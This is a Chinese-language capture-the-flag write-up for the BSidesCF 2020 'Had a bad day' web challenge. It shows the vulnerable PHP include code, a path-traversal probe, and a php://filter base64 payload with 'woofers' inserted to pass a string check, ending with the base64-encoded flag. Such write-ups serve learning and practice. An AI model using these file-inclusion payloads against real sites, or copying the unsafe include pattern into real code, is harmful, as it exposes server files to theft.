[BSidesCF 2020]Had a bad day
- 2022 年 2 月 10 日
- 筆記
打开题目
问我have a bad day?
随便点一个出现了
地址栏出现了?category=woofers
然后点另外一个
地址栏出现了?category=meowers
于是推测这个可能是打开某个页面
于是我尝试用get传参?category=flag.php
出现了只支持woofers和meowers也就是前面点的那个
然后我尝试在woofers后面加个.php
结果出现了
说明它是你输入一个然后他会自动补上一个.php
然后我找不到思路了,根据题目上面提供了github链接我找到了源码
<?php $file = $_GET['category']; if(isset($file)) { if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "Sorry, we currently only support woofers and meowers."; } } ?>
然后我本来以为是用数组来绕过strops函数,
结果出现了这个,失败了。
然后我csdn上面看了下别人的wp。
说要用php伪协议读取。
根据前面源代码可知,要读文件必须要有woofers或者meowers
于是get传参woofers/../flag
然后在源代码里面看到了
<!– Can you read this flag? –>
要用php伪协议读取flag
?category=php://filter/convert.base64-encode/resource=flag
结果出现了
Sorry, we currently only support woofers and meowers.
我想起来读文件里面必须要有index,woofers之中的一个所以我改payload:
?category=php://filter/convert.base64-encode/woofers/resource=flag
然后得到了:
PCEtLSBDYW4geW91IHJlYWQgdGhpcyBmbGFnPyAtLT4KPD9waHAKIC8vIGZsYWd7ZGY4YjY2NjEtZjNmMC00ODIyLWJmZDUtZWQxNWY1YWMwMzU2fQo/Pgo=
然后解个密就得到答案了。